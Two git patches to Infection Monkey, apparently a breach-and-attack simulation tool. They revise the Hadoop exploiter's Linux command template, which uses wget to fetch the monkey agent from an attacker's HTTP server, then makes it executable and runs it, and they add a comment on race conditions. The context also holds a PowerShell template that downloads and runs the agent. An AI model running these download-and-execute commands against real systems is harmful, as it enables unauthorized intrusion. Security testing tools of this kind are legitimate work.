From c802f217565f1ad29b750174099974fa3d2cec8a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 7 Mar 2022 13:54:06 +0100 Subject: [PATCH 1/2] Agent: Prevent overwriting hadoop linux agent Because hadoop is re-requesting agents, we don't get the agent if it already there, if it has size 0 and if it exists we remove it. --- monkey/infection_monkey/model/__init__.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 580a5d7d0..44b09e992 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -46,16 +46,19 @@ CHECK_COMMAND = "echo %s" % ID_STRING # Architecture checking commands GET_ARCH_WINDOWS = "wmic os get osarchitecture" # can't remove, powershell exploiter uses -# All in one commands (upload, change permissions, run) HADOOP_WINDOWS_COMMAND = ( "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) +# The hadoop server may request another monkey executable +# which results with a zero-size file which needs to be removed, +# this can lead to a race condition when the command is run twice +# so we are adding a 5 seconds sleep to prevent that HADOOP_LINUX_COMMAND = ( - "! [ -f %(monkey_path)s ] " - "&& wget -O %(monkey_path)s %(http_path)s " + "wget --no-clobber -O %(monkey_path)s %(http_path)s " + "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) " "; chmod +x %(monkey_path)s " "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) From c886daba8a8891a29a39da3cf1f96ae22800ad0b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 7 Mar 2022 12:35:52 -0500 Subject: [PATCH 2/2] Agent: Increase detail of HADOOP_LINUX_COMMAND comment --- monkey/infection_monkey/model/__init__.py | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 44b09e992..e67ed0cad 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -52,10 +52,18 @@ HADOOP_WINDOWS_COMMAND = ( " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) -# The hadoop server may request another monkey executable -# which results with a zero-size file which needs to be removed, -# this can lead to a race condition when the command is run twice -# so we are adding a 5 seconds sleep to prevent that +# The hadoop server may request another monkey executable after the attacker's HTTP server has shut +# down. This will result in wget creating a zero-length file, which needs to be removed. Using the +# `--no-clobber` option prevents two simultaneously running wget commands from interfering with +# eachother (one will fail and the other will succeed). +# +# If wget creates a zero-length file (because it was unable to contact the attacker's HTTP server), +# it needs to remove the file. It sleeps to minimize the risk that the file was created by another +# concurrently running wget and then removes the file if it is still zero-length after the sleep. +# +# This doesn't eleminate all race conditions, but should be good enough (in the short term) for all +# practical purposes. In the future, using randomized names for the monkey binary (which is a good +# practice anyway) would eleminate most of these issues. HADOOP_LINUX_COMMAND = ( "wget --no-clobber -O %(monkey_path)s %(http_path)s " "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) "